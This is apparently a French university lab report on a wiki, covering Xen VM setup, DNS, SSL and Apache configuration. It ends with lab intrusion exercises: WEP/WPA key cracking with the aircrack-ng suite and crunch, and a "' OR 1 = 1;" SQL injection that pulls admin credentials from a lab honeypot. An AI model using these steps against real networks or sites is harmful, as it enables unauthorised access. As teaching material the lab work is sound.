Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57085</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57085"/>
				<updated>2021-12-13T18:09:04Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Test d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
